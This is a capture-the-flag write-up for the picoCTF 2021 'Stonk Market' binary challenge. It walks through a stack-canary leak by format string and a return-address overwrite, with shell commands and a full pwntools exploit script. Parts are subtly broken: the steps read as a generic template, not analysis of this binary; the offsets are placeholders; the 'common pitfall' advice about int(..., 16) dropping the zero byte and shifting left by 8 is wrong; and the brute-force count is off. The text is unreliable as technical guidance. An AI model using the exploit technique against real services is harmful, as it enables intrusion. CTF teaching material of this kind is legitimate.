Stonk Market picoCTF 2021 Solution

Published: April 2, 2026

Description

You have a buffer with data. Exploit the vulnerability in the stonk market binary to get the flag.

Download the binary.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
chmod +x vuln
bash
checksec vuln
bash
pip install pwntools
  1. Step 1Identify the vulnerability type
    checksec shows a stack canary and a buffer overflow path. To bypass the canary you need a leak primitive: a format-string bug or an info-disclosure that reads past a buffer.
    bash
    checksec vuln
    bash
    ./vuln
    bash
    echo '%p.%p.%p.%p' | ./vuln
    Learn more

    Stack canary bypass strategy. Stack canaries are random 8-byte values (on 64-bit) placed between local variables and the saved return address. Before returning, the function verifies the canary hasn't changed. Three common bypasses:

    • Format string leak: Use %p or %N$p to read the canary value directly from the stack, then include it unchanged in the overflow payload.
    • Information disclosure: An off-by-one read past a buffer can leak the canary without a format string.
    • Brute force: On 32-bit forking servers, the canary is inherited by child processes and can be brute-forced one byte at a time (256 attempts per byte = 1024 total).

    See the buffer overflow guide for the underlying primitive.

  2. Step 2Leak the stack canary
    Send a long string of %p to dump stack slots. The canary is the 8-byte value before the saved RBP, ending in 0x00.
    python
    python3 -c "print('%p.' * 25)" | ./vuln
    bash
    # Identify which position contains the canary
    bash
    # Canary ends in 0x00 (least significant byte is null for alignment)
    Learn more

    Why the canary's lowest byte is zero. Glibc generates the canary at process start by reading from /dev/urandom into a 64-bit slot, then masking the low byte to 0x00. The zero byte is intentional: string functions like strcpy, strcat, and printf(%s) stop at NUL, so a string-based overflow that starts inside the buffer and reaches the canary will halt at the zero byte without ever overwriting (or even reading) the rest of the canary. That defeats string-based overflows entirely. %p, read, and memcpy ignore null bytes, so leaking and rewriting it via integer formatters is fine.

  3. Step 3Derive buf_size and rop_offset from the binary
    objdump -d shows the function prologue (sub rsp, 0x...) which is the frame size. Subtract the offset of the buffer (relative to RBP) from the frame size to get the bytes between the buffer start and the canary.
    bash
    objdump -d vuln | grep -A30 '<vuln>:'
    bash
    # Look for: sub rsp, 0x40   <- frame size
    bash
    # Look for: lea rax, [rbp-0x30]   <- buffer offset
    bash
    # buf_size = 0x30 - 0x8 (canary slot is at rbp-0x8)
    bash
    # rop_offset = 8  (saved rbp between canary and saved rip)
    Learn more

    Worked example. If the prologue shows sub rsp, 0x40 and the read target is lea rax, [rbp-0x30], the buffer starts at rbp-0x30 and the canary sits at rbp-0x8. So buf_size = 0x30 - 0x8 = 0x28 bytes from buffer start to canary. The saved RBP follows the canary (8 bytes), then the saved RIP. rop_offset = 8.

    If win is stripped. Symbol resolution via e.sym['win'] won't work. Search the disassembly for the function that prints the flag:

    objdump -d vuln | grep -E '<flag|<print_flag|<get_flag'
    # Or find references to "flag.txt" or "/bin/sh":
    strings -t x vuln | grep -E 'flag|sh'
    # Cross-reference the address back into objdump to find the calling function
  4. Step 4Build the exploit with canary preservation
    Construct: [padding to canary] + [leaked canary] + [padding to RIP] + [target address]. The canary value is preserved so the check passes.
    python
    python3 - <<'EOF'
    from pwn import *  # p64 packs little-endian 8 bytes; ELF() parses symbols/sections
    
    e = ELF('./vuln')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    # Stage 1: Leak canary via format string
    p.sendline(b'%N$p')  # N is the stack position of the canary
    canary_leak = int(p.recvline().strip(), 16)
    log.success(f"Canary: {hex(canary_leak)}")
    
    # Stage 2: Overflow with canary preserved
    buf_size = 0x28   # from objdump frame analysis
    rop_offset = 8    # saved RBP between canary and saved RIP
    
    payload  = b'A' * buf_size
    payload += p64(canary_leak)         # preserve canary
    payload += b'B' * rop_offset        # padding to RIP
    payload += p64(e.sym['win'])        # overwrite return address
    
    p.sendline(payload)
    p.interactive()
    EOF
    Learn more

    Pwntools primer. p64() packs a 64-bit integer into 8 little-endian bytes (so address 0x401370 becomes \x70\x13\x40\x00\x00\x00\x00\x00 on the wire). ELF() parses the binary and exposes e.sym, e.got, e.plt, and section base addresses. remote() opens a TCP socket and gives you send/recv primitives. See the pwntools guide for the full vocabulary.

    Full stack layout while inside the vulnerable function (low addresses at top, the direction gets() writes):

    +--------------------+ <- rsp at function entry
    | char buf[buf_size] |  <- gets() / read() writes here, ascending
    |                    |
    +--------------------+
    | canary (8 bytes)   |  <- e.g. 0xaabbccddeeff??00 (lowest byte = 00)
    +--------------------+
    | saved rbp (8)      |
    +--------------------+
    | saved rip (8)      |  <- ret pops this into rip
    +--------------------+
    | caller frame ...   |

    Common pitfall. The canary's lowest byte is always 0x00. If you obtained the leak via %p, make sure pwntools' int(..., 16) parser keeps the leading zero. Manually shift left by 8 or pad after parsing.

Flag

picoCTF{...}

Stack canaries are bypassed by first leaking the canary value via format string (%p), then including it unchanged in the overflow payload so the canary check passes before jumping to the win function.

Want more picoCTF 2021 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next